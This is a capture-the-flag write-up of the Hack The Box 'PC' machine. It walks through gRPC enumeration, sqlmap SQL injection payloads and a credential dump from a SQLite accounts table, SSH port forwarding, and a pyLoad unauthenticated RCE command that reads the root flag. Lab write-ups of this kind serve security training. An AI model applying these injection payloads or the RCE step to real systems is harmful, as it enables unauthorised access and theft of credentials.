Hack The Box PC Writeup (Easy Linux)

Summary

PC runs a gRPC service on port 50051, reachable with grpcui and grpcurl, whose error messages point at an admin account that logs in with admin:admin. The getInfo call takes an id parameter that sqlmap finds injectable against a SQLite backend, and dumping the accounts table returns sau with HereIsYourPassWord1431. Those credentials work over SSH, and from that shell another service turns up listening only on localhost:8000, which is forwarded back over the same SSH connection. It is pyLoad, running as root and carrying a public unauthenticated remote code execution exploit, used here to copy /root/root.txt into sau’s home directory.

export IP=10.10.11.214

Port scanning

Target: Port 50051

Referring to this article, port 50051 is likely running gRPC.

In order to interact with this service, we need some special tools, like grpcui and grpcurl.

Based off the error messages, we can note that there’s likely an ‘admin’ user. We can log using the credentials admin:admin.

Interacting with gRPC via UI:

/home/kali/go/bin/grpcui -plaintext $IP:50051

SQL Injection!

There’s a SQL Injection flaw when posting to get.Info. Vulnerable parameter: ‘id’.

Request example:

POST /invoke/SimpleApp.getInfo HTTP/1.1
Host: 127.0.0.1:43259
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
x-grpcui-csrf-token: 270pip8cdnAZ_uSxsfUbjDfImUEZjQ2pcrJ-e3gEsv0
X-Requested-With: XMLHttpRequest
Content-Length: 191
Origin: http://127.0.0.1:43259
Connection: close
Referer: http://127.0.0.1:43259/
Cookie: _grpcui_csrf_token=270pip8cdnAZ_uSxsfUbjDfImUEZjQ2pcrJ-e3gEsv0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

{"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODc0Njk1MTJ9.tBXLQMBYK7gDstY8vsv4kP3GYpt6T8R49yultFeyySo"}],"data":[{"id":"§0§"}]}

Exploiting using sqlmap (saved the request to a file)

$ sqlmap -r request-id -p id --level 5 --risk 3
        ___
       __H__                                                                                
 ___ ___[,]_____ ___ ___  {1.7.2#stable}                                                    
|_ -| . [(]     | .'| . |                                                                   
|___|_  ["]_|_|_|__,|  _|                                                                   
      |_|V...       |_|   https://sqlmap.org                                                

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 14:53:25 /2023-06-22/

[14:53:25] [INFO] parsing HTTP request from 'request-id'
JSON data found in POST body. Do you want to process it? [Y/n/q] Y
[14:53:26] [INFO] testing connection to the target URL
[14:53:26] [INFO] testing if the target URL content is stable
[14:53:27] [INFO] target URL content is stable
[14:53:27] [WARNING] heuristic (basic) test shows that (custom) POST parameter 'JSON id' might not be injectable
[14:53:27] [INFO] testing for SQL injection on (custom) POST parameter 'JSON id'
[14:53:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:53:42] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[14:53:44] [INFO] (custom) POST parameter 'JSON id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable                                                          
[14:53:48] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite' 
it looks like the back-end DBMS is 'SQLite'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
[14:53:55] [INFO] testing 'Generic inline queries'
[14:53:55] [INFO] testing 'SQLite inline queries'
[14:53:55] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query - comment)'
[14:53:55] [INFO] testing 'SQLite > 2.0 stacked queries (heavy query)'
[14:53:56] [INFO] testing 'SQLite > 2.0 AND time-based blind (heavy query)'
[14:53:56] [INFO] testing 'SQLite > 2.0 OR time-based blind (heavy query)'
[14:54:02] [INFO] (custom) POST parameter 'JSON id' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable                                                           
[14:54:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:54:02] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[14:54:05] [INFO] target URL appears to be UNION injectable with 1 columns
[14:54:06] [INFO] (custom) POST parameter 'JSON id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable                                                                        
[14:54:06] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval                      
(custom) POST parameter 'JSON id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 180 HTTP(s) requests:
---
Parameter: JSON id ((custom) POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODc0Njk1MTJ9.tBXLQMBYK7gDstY8vsv4kP3GYpt6T8R49yultFeyySo"}],"data":[{"id":"-4884 OR 6940=6940"}]}

    Type: time-based blind
    Title: SQLite > 2.0 OR time-based blind (heavy query)
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODc0Njk1MTJ9.tBXLQMBYK7gDstY8vsv4kP3GYpt6T8R49yultFeyySo"}],"data":[{"id":"14 OR 9533=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2))))"}]}

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: {"metadata":[{"name":"token","value":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiYWRtaW4iLCJleHAiOjE2ODc0Njk1MTJ9.tBXLQMBYK7gDstY8vsv4kP3GYpt6T8R49yultFeyySo"}],"data":[{"id":"14 UNION ALL SELECT CHAR(113,112,122,112,113)||CHAR(105,89,111,78,106,112,105,105,71,118,72,100,109,117,107,66,118,90,77,103,84,116,86,110,106,117,66,122,87,90,83,90,121,86,111,82,85,72,117,86)||CHAR(113,122,107,107,113)-- QmaJ"}]}
---
[14:54:08] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[14:54:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/127.0.0.1'                                                                             

[*] ending @ 14:54:08 /2023-06-22/

$ sqlmap -r request-id -p id -T accounts --dump

Table: accounts
[2 entries]
+------------------------+----------+
| password               | username |
+------------------------+----------+
| admin                  | admin    |
| HereIsYourPassWord1431 | sau      |
+------------------------+----------+

Initial shell

Using the password for user ‘sau’, we’re able to log in via SSH.

sau:HereIsYourPassWord1431

Privilege escalation

There’s an akward port open internally. Let’s forward it using ssh.

ssh sau@$IP -L 127.0.0.1:8000:localhost:8000

“pyLoad” is the name of the service at localhost:8000. It has an unauthenticated RCE vulnerability, and it’s running as root.

python3 exploit.py -u http://localhost:8000 -c 'cat /root/root.txt > /home/sau/root.txt'